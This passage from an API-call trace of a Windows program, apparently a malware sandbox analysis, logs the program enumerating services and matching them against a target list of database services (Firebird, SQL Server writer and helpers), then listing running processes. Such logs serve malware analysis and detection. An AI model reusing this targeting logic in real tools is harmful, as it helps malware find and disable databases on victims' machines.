lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0286.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0286.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0286.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0286.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0286.891] lstrlenW (lpString="Dhcp") returned 4 [0286.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0286.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0286.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0286.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0286.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0286.891] lstrlenW (lpString="Dnscache") returned 8 [0286.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0286.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0286.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0286.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0286.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0286.892] lstrlenW (lpString="DPS") returned 3 [0286.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0286.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0286.892] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0286.892] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0286.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0286.892] lstrlenW (lpString="DusmSvc") returned 7 [0286.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0286.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0286.892] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0286.892] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0286.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0286.892] lstrlenW (lpString="EventLog") returned 8 [0286.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0286.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0286.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0286.892] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0286.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0286.892] lstrlenW (lpString="EventSystem") returned 11 [0286.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0286.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0286.892] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0286.893] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0286.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0286.893] lstrlenW (lpString="FontCache") returned 9 [0286.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0286.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0286.893] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0286.893] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0286.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0286.893] lstrlenW (lpString="gpsvc") returned 5 [0286.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0286.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0286.893] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0286.893] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0286.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0286.893] lstrlenW (lpString="iphlpsvc") returned 8 [0286.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0286.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0286.893] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0286.893] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0286.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0286.893] lstrlenW (lpString="KeyIso") returned 6 [0286.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0286.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0286.893] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0286.893] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0286.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0286.893] lstrlenW (lpString="LanmanServer") returned 12 [0286.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0286.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0286.894] lstrlenW (lpString="LanmanWorkstation") returned 17 [0286.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0286.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0286.894] lstrlenW (lpString="lfsvc") returned 5 [0286.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0286.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0286.894] lstrlenW (lpString="lmhosts") returned 7 [0286.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0286.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0286.894] lstrlenW (lpString="LSM") returned 3 [0286.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0286.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0286.894] lstrlenW (lpString="MpsSvc") returned 6 [0286.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0286.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0286.894] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0286.894] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0286.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0286.894] lstrlenW (lpString="NcbService") returned 10 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0286.895] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0286.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0286.895] lstrlenW (lpString="netprofm") returned 8 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0286.895] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0286.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0286.895] lstrlenW (lpString="NgcSvc") returned 6 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0286.895] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0286.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0286.895] lstrlenW (lpString="NlaSvc") returned 6 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0286.895] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0286.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0286.895] lstrlenW (lpString="nsi") returned 3 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0286.895] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0286.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0286.895] lstrlenW (lpString="PcaSvc") returned 6 [0286.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0286.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0286.895] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0286.896] lstrlenW (lpString="PlugPlay") returned 8 [0286.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0286.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0286.896] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0286.896] lstrlenW (lpString="Power") returned 5 [0286.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0286.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0286.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0286.896] lstrlenW (lpString="ProfSvc") returned 7 [0286.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0286.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0286.896] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0286.896] lstrlenW (lpString="RpcEptMapper") returned 12 [0286.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0286.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0286.896] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0286.896] lstrlenW (lpString="RpcSs") returned 5 [0286.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0286.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0286.896] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0286.896] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0286.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0286.897] lstrlenW (lpString="SamSs") returned 5 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0286.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0286.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0286.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0286.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0286.897] lstrlenW (lpString="Schedule") returned 8 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0286.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0286.897] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0286.897] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0286.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0286.897] lstrlenW (lpString="SecurityHealthService") returned 21 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0286.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0286.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0286.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0286.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0286.897] lstrlenW (lpString="SENS") returned 4 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0286.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0286.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0286.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0286.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0286.897] lstrlenW (lpString="ShellHWDetection") returned 16 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0286.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0286.897] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0286.897] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0286.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0286.897] lstrlenW (lpString="Spooler") returned 7 [0286.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0286.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0286.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0286.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0286.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0286.898] lstrlenW (lpString="SSDPSRV") returned 7 [0286.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0286.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0286.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0286.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0286.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0286.898] lstrlenW (lpString="StateRepository") returned 15 [0286.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0286.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0286.898] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0286.898] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0286.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0286.898] lstrlenW (lpString="SysMain") returned 7 [0286.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0286.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0286.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0286.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0286.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0286.898] lstrlenW (lpString="SystemEventsBroker") returned 18 [0286.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0286.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0286.898] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c70f0 | out: hHeap=0x730000) returned 1 [0286.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a8 [0286.904] Process32FirstW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.905] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.906] lstrlenW (lpString="System") returned 6 [0286.906] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.907] lstrlenW (lpString="smss.exe") returned 8 [0286.907] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.098] lstrlenW (lpString="csrss.exe") returned 9 [0287.099] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.099] lstrlenW (lpString="wininit.exe") returned 11 [0287.099] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.100] lstrlenW (lpString="csrss.exe") returned 9 [0287.100] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.101] lstrlenW (lpString="winlogon.exe") returned 12 [0287.101] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.101] lstrlenW (lpString="services.exe") returned 12 [0287.101] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.102] lstrlenW (lpString="lsass.exe") returned 9 [0287.102] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.103] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.103] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0287.103] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0287.103] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.104] lstrlenW (lpString="svchost.exe") returned 11 [0287.104] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.105] lstrlenW (lpString="svchost.exe") returned 11 [0287.105] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.105] lstrlenW (lpString="dwm.exe") returned 7 [0287.105] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.106] lstrlenW (lpString="svchost.exe") returned 11 [0287.106] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.106] lstrlenW (lpString="svchost.exe") returned 11 [0287.107] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.107] lstrlenW (lpString="svchost.exe") returned 11 [0287.107] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.108] lstrlenW (lpString="svchost.exe") returned 11 [0287.108] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.108] lstrlenW (lpString="svchost.exe") returned 11 [0287.109] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.109] lstrlenW (lpString="svchost.exe") returned 11 [0287.109] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.110] lstrlenW (lpString="svchost.exe") returned 11 [0287.110] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.110] lstrlenW (lpString="svchost.exe") returned 11 [0287.111] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.111] lstrlenW (lpString="svchost.exe") 